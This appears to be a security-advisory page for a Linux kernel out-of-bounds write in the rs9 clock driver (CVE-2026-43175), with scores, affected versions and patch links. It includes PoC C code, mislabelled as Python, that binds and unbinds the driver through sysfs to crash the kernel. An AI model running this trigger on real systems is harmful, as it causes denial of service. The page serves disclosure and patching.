Security Vulnerability Report
中文
CVE-2026-43175 CVSS 5.5 MEDIUM

CVE-2026-43175

Published: 2026-05-06 12:16:36
Last Modified: 2026-05-12 20:01:25
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: clk: rs9: Reserve 8 struct clk_hw slots for for 9FGV0841 The 9FGV0841 has 8 outputs and registers 8 struct clk_hw, make sure there are 8 slots for those newly registered clk_hw pointers, else there is going to be out of bounds write when pointers 4..7 are set into struct rs9_driver_data .clk_dif[4..7] field. Since there are other structure members past this struct clk_hw pointer array, writing to .clk_dif[4..7] fields corrupts both the struct rs9_driver_data content and data around it, sometimes without crashing the kernel. However, the kernel does surely crash when the driver is unbound or during suspend. Fix this, increase the struct clk_hw pointer array size to the maximum output count of 9FGV0841, which is the biggest chip that is supported by this driver.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (versions prior to commit 2f926875dffe2226ea26d129e16d9092cccd03aa)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-43175 * This script demonstrates triggering the vulnerability by binding * and unbinding the affected driver, assuming the hardware is present. * * Compile: gcc -o poc_cve2026_43175 poc_cve2026_43175.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define DRIVER_BIND_PATH "/sys/bus/i2c/drivers/rs9/bind" #define DRIVER_UNBIND_PATH "/sys/bus/i2c/drivers/rs9/unbind" // Hypothetical device ID for 9FGV0841 #define DEVICE_ID "0-0068" void trigger_vulnerability() { int fd; printf("[+] Attempting to bind device %s to trigger out-of-bounds write...\n", DEVICE_ID); // Step 1: Bind the device to the vulnerable driver // This triggers the driver probe function where clk_hw[4..7] are written OOB fd = open(DRIVER_BIND_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open bind path (check permissions/root)"); return; } if (write(fd, DEVICE_ID, strlen(DEVICE_ID)) < 0) { perror("[-] Failed to bind device"); close(fd); return; } close(fd); printf("[+] Device bound. Memory corruption likely occurred in rs9_driver_data.\n"); sleep(1); // Step 2: Unbind the device to trigger the crash // The driver teardown or suspend logic will access the corrupted memory printf("[+] Attempting to unbind device to trigger kernel panic...\n"); fd = open(DRIVER_UNBIND_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open unbind path"); return; } if (write(fd, DEVICE_ID, strlen(DEVICE_ID)) < 0) { perror("[-] Failed to unbind device"); } else { printf("[+] Unbind successful. If vulnerable, kernel should crash shortly.\n"); } close(fd); } int main() { printf("CVE-2026-43175 PoC - Linux Kernel clk: rs9 Out-of-Bounds Write\n"); trigger_vulnerability(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43175", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:35.967", "lastModified": "2026-05-12T20:01:25.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: rs9: Reserve 8 struct clk_hw slots for for 9FGV0841\n\nThe 9FGV0841 has 8 outputs and registers 8 struct clk_hw, make sure\nthere are 8 slots for those newly registered clk_hw pointers, else\nthere is going to be out of bounds write when pointers 4..7 are set\ninto struct rs9_driver_data .clk_dif[4..7] field.\n\nSince there are other structure members past this struct clk_hw\npointer array, writing to .clk_dif[4..7] fields corrupts both\nthe struct rs9_driver_data content and data around it, sometimes\nwithout crashing the kernel. However, the kernel does surely\ncrash when the driver is unbound or during suspend.\n\nFix this, increase the struct clk_hw pointer array size to the\nmaximum output count of 9FGV0841, which is the biggest chip that\nis supported by this driver."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.8", "versionEndExcluding": "6.12.75", "matchCriteriaId": "4A94C3E7-EF78-4AF2-8160-DDF77E97D5EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2f926875dffe2226ea26d129e16d9092cccd03aa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5ec820fc28d0b8a0f3890d476b1976f20e8343cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/82a34f344999d8029bcebf131028fa519140c7cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/da86ca15d7389ee0b5df08e8f70c39354e6b8a4b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}